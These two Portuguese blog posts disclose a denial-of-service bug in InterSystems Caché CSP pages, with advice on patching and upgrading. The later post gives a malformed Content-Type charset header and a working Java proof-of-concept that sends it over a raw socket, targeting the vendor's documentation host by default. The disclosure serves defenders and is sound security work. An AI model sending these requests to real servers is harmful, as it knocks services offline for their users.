sexta-feira, 16 de maio de 2008

Hackeando o Caché - parte 2

No post anterior eu alertei sobre um bug em como o Caché lida com requisições HTTP para as suas páginas CSP (Caché Server Pages), bug este que pode ser explorado em um ataque de negação de Serviço (DoS, em inglês).

Neste post, detalharei não somente o bug, mas todas as circunstâncias que levaram a descoberta deste bug, suas consequências e detalhes técnicos.

Como tudo começou

Num dia como qualquer outro, de repente começam a me dizer que o Ensemble (o "ESB" construído sobre o Caché) estava com problemas, que os Web Services estavam retornando com erro, e que a página na Internet que fazia uso deste Web Service (é uma página em PHP) estava com caracteres malucos por causa dos erros.

Estranhei, não porque o Ensemble/Caché seja tão livre de bugs assim (porque o que tem de bugs e WTFs dentro dele não é nada desprezível), mas porque eu não havia colocado nada de novo em produção, nem mexido em configuração alguma. E também tinha certeza de que mais ninguém havia alterado nada no servidor há pelo menos dois dias.

Resolvi testar o Web Service usando o soapUI (versão 1.6), um programa open-source feito em Java que é uma mão na roda para se testar Web Services padrão SOAP (e do qual eu já até falei neste outro post). Tudo pareceu OK, o Web Service estava retornando sem erro, e com os dados corretos. Fui falar com a pessoa que havia me alertado, e disse que estava tudo bem.

Logo mais, esta pessoa volta e me diz que ainda está ocorrendo erro. Desta vez resolvo abrir a página web que utiliza o Web Service, e realmente estava com erro. Pensei que talvez estivesse exibindo algum cache, então testei novamente com o soapUI, e mais uma vez, o resultado veio correto. WTF, pensei... Perguntei para a pessoa que havia me dito do erro, EXATAMENTE o que havia acontecido, como ela havia descoberto o erro. Então me disse que havia tentado invocar o Web Service utilizando o Netbeans, e como neste retornava erro, checava depois a página web, a qual também mostrava erro.

Fiquei intrigado, e como tenho o Netbeans 6 instalado aqui, resolvi fazer os mesmos passos. E não é que usando o Netbeans para testar o Web Service, dava erro mesmo? E pior, depois de usar o Netbeans, as chamadas ao Web Service, pela página web, começavam a dar erro também. Tentei então entrar no Portal de Administração do Caché/Ensemble, e até estas páginas estavam retornando erro. Nem mesmo a página de login funcionava! Só o que eu via era a página padrão de erro do CSP.


Pronto, era o que faltava, o Netbeans derrubava o Caché/Ensemble! =P

Reiniciei o Caché/Ensemble, já que aquele ali era o servidor de produção, e pedi pra que ninguém mais acessasse ele pra fazer testes, pra não prejudicar os outros sistemas em produção, que usavam o infeliz. Fui então para o servidor de desenvolvimento e testes, a fim de descobrir o que raios estava acontecendo.

Fazendo trabalho de detetive

A primeira dica para a resolução do caso foi que no Netbeans ocorria erro, mas no soapUI não. Nos testes, mesmo depois de "derrubar" o Caché/Ensemble com o Netbeans, acessando via soapUI não ocorria erro. Resolvi investigar bem a fundo, e coloquei o Ethereal pra rodar, um bom programa sniffer, open-source, pra analisar todo o tráfego que chegava no Caché/Ensemble, no nível de stream TCP.

Como a página de erro (na figura acima) mostrava um erro relativo ao CharSet, fui verificar como o soapUI e o Netbeans enviavam as suas requisições. O CharSet é enviado junto com a requisição HTTP, fazendo parte dos cabeçalhos (Headers) HTTP, e serve para identificar qual o conjunto de caracteres que está sendo usado para enviar dados.

Abaixo uma requisição que não gerava erro, vinda do soapUI:

POST /csp/ensemble/pacote.Classe.cls HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://namespace/pacote.Classe.Metodo"
User-Agent: Jakarta Commons-HttpClient/3.0.1


E uma requisição que gerava erro, vinda do Netbeans 6.0:

POST /csp/ensemble/pacote.Classe.cls HTTP/1.0
SOAPAction: "http://namespace/pacote.Classe.Metodo"
Content-Type: text/xml;charset="utf-8"
User-Agent: JAX-WS RI 2.1.2-b05-RC1


(Modifiquei as informações referentes às classes reais e endereços, por questões de privacidade; também retirei o corpo xml pelo mesmo motivo.)

Aparentemente, as duas chamadas são bem parecidas, apesar do Netbeans enviar alguns cabeçalhos HTTP a mais (que eu retirei do exemplo acima, pra não ficar poluído demais), mas que nada influem. A versão do HTTP neste caso, também não influenciava no problema.

Analisando o Content-Type, a primeira vista não parece que haja uma grande diferença entre eles. O fato do conteúdo do CharSet ser utf-8 ou UTF-8 não influi. Entretanto, na requisição gerada pelo Netbeans, o valor do CharSet é enviado entre aspas. E isso fez TODA A DIFERENÇA.

<?xml version='1.0' encoding='UTF-8' standalone='no' ?>
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
<faultcode>SOAP-ENV:Server</faultcode>
<faultstring>Internal Server Error</faultstring>
<detail>
<error xmlns='http://tempuri.org' >
<text>ERROR #5911: Character Set "utf-8" not installed, unable to perform character set translation</text>
</error>
</detail>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


Se repararmos na tela de erro, ou na mensagem SOAP-Fault acima, veremos que a mensagem é Character Set '"utf-8"' not installed.... Ou seja, ele considerava o CharSet com ASPAS!

Apesar de ser desejável o servidor aceitar o CharSet entre aspas normalmente, retirando as aspas para "entender" qual o CharSet usado, não encontrei nada que diga que isso seja uma obrigação ou mesmo uma recomendação da especificação do HTTP.

O erro propagado

O erro ocorrer na resposta da requisição "defeituosa" é o procedimento esperado. Entretanto, depois de ter chamado o Web Service e ter recebido o erro, depois de alguns momentos, ao acessar o portal de Administração do Caché/Ensemble, este também retorna erro, e logo tudo que depende de CSPs é inutilizado, pois para qualquer requisição via browser a página de erro é mostrada. Tipicamente, os browsers não enviam o cabeçalho Content-Type, o que torna a mensagem de erro bem peculiar.

Fiz um pequeno programa em Java, para poder manipular livremente todos os cabeçalhos HTTP e enviar ao servidor. Modificando o valor de CharSet para qualquer valor, este apareceria na tela, junto com a mensagem de erro.

Além disso, comecei a testar fazendo não requisições SOAP, usando o método POST do HTTP, mas usando o método GET, que é o método usado geralmente pelos navegadores para pegar páginas Web. E não para minha surpresa, colocando-se um endereço de página CSP válido, e usando o cabeçalho com o CharSet alterado, o erro também acontecia.

Por exemplo, enviando a requisição HTTP abaixo:

GET /csp/ensemble/pacote.Classe.cls HTTP/1.0
Content-Type: text/xml;charset=Uma Mensagem Qualquer Aqui


Depois de alguns instantes, qualquer chamada a qualquer página CSP retornaria a seguinte tela de erro:


Aparentemente, o Caché mantém algumas estruturas/objetos que ele reutiliza entre as chamadas, o que causa a propagação do erro. Entretanto, se o servidor for altamente requisitado, no início o Caché já mantém vários objetos instanciados, e a chamada defeituosa vai afetar apenas aquele objeto que for usado na chamada, deixando os outros normais. Por isso, num servidor muito acessado, que mantém vários objetos instanciados, o erro fica intermitente entre as requisições HTTP posteriores, ora retornando com problema (porque usou nesta chamada o objeto com erro), ora retornando OK (porque usou outro objeto já instanciado, que não fora afetado).

Pude constatar isso ao fazer o 'ataque' na página de documentação do Caché 2007, no site da Intersystems. Ali, depois de fazer uma requisição HTTP defeituosa com o programinha que desenvolvi, algumas requisições via browser retornavam erro, enquanto outras retornavam OK, independente do endereço requisitado.

O bug provavelmente se encontra no objeto que representa uma requisição CSP, o %CSP.Request. Notem que este objeto é reutilizado, como podemos ver pela existência do método Reset, onde provavelmente reside o erro.

Explorando o bug

Alguém mal intencionado pode explorar o bug, realizando um ataque de negação de serviço em um site que use CSP. Para tal, nem é preciso realizar um imenso número de requisições, basta umas poucas requisições de tempos em tempos. Se o site tiver pouco movimento, uma ou duas requisições a cada 10 minutos seria suficiente para torná-lo inoperável.

Durante os testes, fiz uma pequena classe em Java para facilitar os testes, abrindo um Socket e escrevendo direto na stream TCP, ou seja, enviando os comandos e cabeçalhos HTTP como eu quisesse. Este programa acaba sendo uma Prova de Conceito ou do inglês, Proof of Concept.

Abaixo, listo a classe, que é bem simples (e com comentários dentro do código):


package testes;

import java.io.*;
import java.net.*;

/**
 @author Emilio, o ráqui.
 */
public class Main {

   /**
    * Uso: java testes.Main
    */
   public static void main(String[] argsthrows Exception {
       try {
           //Criação e abertura de um Socket. 
           //O primeiro parâmetro é um endereço ou IP, no exemplo, o host da
           //Intersystems que contém a documentação do Caché em CSP. Pode ser
           //alterado para qualquer endereço.
           //O segundo parâmetro é a porta TCP, como estamos lidando com HTTP,
           //o padrão é a porta 80. A não ser que o site use outra porta não-
           //padrão, esse parâmetro não precisa ser alterado.
           Socket s = new Socket("docs.intersystems.com"80);

           //Monta uma String com o comando e os cabeçalhos HTTP 
           //Primeiro, colocamos o comando GET, apontando para uma página CSP
           //válida, no caso, a página gerada com a documentação do Caché
           String cabecalho = "GET /cache20071/csp/docbook/DocBook.UI.Page.cls HTTP/1.0 \r\n"+
           //Este cabeçalho, Content-Type, que pode ser alterado para causar 
           //o bug. Basta alterar o charset para um valor inválido (ou uma
           "Content-Type: text/xml;charset=Uma Mensagem Qualquer Aqui\r\n"+
           //outros cabeçalhos HTTP podem ser colocados.
           "Connection: keep-alive \r\n"+"\r\n";

           //Cria e abre objetos para escrever e ler na stream de dados TCP
           DataOutputStream dos = new DataOutputStream(s.getOutputStream());
           DataInputStream dis = new DataInputStream(s.getInputStream());

           //envia a requisição previamente montada
           dos.writeBytes(cabecalho);

           System.out.println("Enviado");
           
           //Código para ver na saída padrão o que foi retornado pelo servidor.
           byte[] buff = new byte[32000];
           dis.read(buff);
           System.out.println("Recebido:\n" new String(buff));
           buff = new byte[32000];
           dis.read(buff);
           System.out.println(new String(buff));

       }
       catch(Exception e) {
           e.printStackTrace();
       }
   }
}


Providências

Se você roda aplicações CSP, especialmente sites na Internet, e que rodem em versões do Caché afetadas (anteriores a 2008), é altamente aconselhável que procurem a Intersystems para obter um patch.

Como aqui na empresa este patch já está instalado, e aparentemente o erro foi corrigido, o processo de obtenção do patch deve ser razoavelmente rápido (ao contrário da maioria das requisições de suporte que tivemos até agora), já que ele já foi feito.

Agora, se você preferir dar uma de 'hacker', pode fuçar e mexer no %CSP.Request. Claro que para isso, você deve tirar a base de dados CACHELIB do modo somente leitura, que é o padrão. Nesta classe, no método CSPGatewayReset (que é um método gerador de código), você pode incluir comandos para "zerar" o CharSet. Em alguns testes, essa solução também funcionou, mas como não me aprofundei mais no assunto, não aconselho a fazerem isso em um ambiente de produção.

segunda-feira, 5 de maio de 2008

Hackeando o Caché

Bem, o título chamativo acima não é verdadeiro, pois não se trata de um hack no sentido original da palavra, nem no sentido de invasão de sistemas. Se trata mais de um ataque (isso sim) de Negação de Serviço, ou como é conhecido em inglês, DoS (Denial of Service), que pode comprometer sistemas desenvolvidos usando a tecnologia CSP (Caché Server Pages) do Caché da Intersystems.

O bug que torna possível o ataque afeta as versões anteriores a versão 2008 - nos meus testes pessoais, com máquinas que eu tinha controle, testei no Caché 5.0 e 5.2. No próprio site da Intersystems, a documentação online (que é gerada em CSP) da versão 2007 também é afetada por este bug.

Como pode acontecer o ataque?

Um bug faz com que, depois de uma requisição HTTP a um endereço legítimo que use CSP (e isso inclui chamadas a Web Services do Caché), as páginas CSP chamadas depois, gradualmente comecem a retornar erro. Este erro persiste por algum tempo, até que depois de alguns minutos, que nos meus testes pareceu aleatório (mas que ficou em torno de 30 minutos), as páginas CSP retornam à normalidade.

Um hacker 'do mal' pode aproveitar este bug para tornar um site construído em CSP inoperável, simplesmente, fazendo com que de tempos em tempos, uma requisição HTTP especialmente preparada, seja enviada. Ou seja, você pode causar um ataque de Negação de Serviço (DoS) enviando uns poucos pacotes a um servidor, de tempos em tempos.

Este bug já foi reportado a Intersystems, por meio da parceira regional, e apesar de não haver encontrado nenhuma menção a este bug (nem na documentação nem na web, via google), parece que o pessoal já sabia dele, pois a versão 2008 do Caché aparentemente não apresenta este problema.

Que providências tomar?

Se você identificar que seu sistema pode ser afetado, você tem duas alternativas: ou migrar para a versão 2008, ou solicitar um "patch" para a Intersystems, para a sua versão de Caché.

Apesar de eu ser um entusiasta dos upgrades, nem tudo são flores: uma migração de versão, especialmente se for uma versão mais antiga, pode se tornar muito trabalhosa, inserir novos bugs, quebrar funcionalidades, etc... Se for este o caso, sugiro que peça emergencialmente um patch para a sua versão do Caché.

Detalhes Técnicos

Por enquanto, como ainda não obtive resposta da Intersytems, não vou liberar todos os detalhes técnicos do bug aqui no blog, nem o código que eu usei pra explorar o bug (a chamada prova de conceito). Esperarei mais algum tempo, e se o suporte (que conosco, não tem sido dos melhores) não responder satisfatoriamente, divulgarei assim mesmo o código.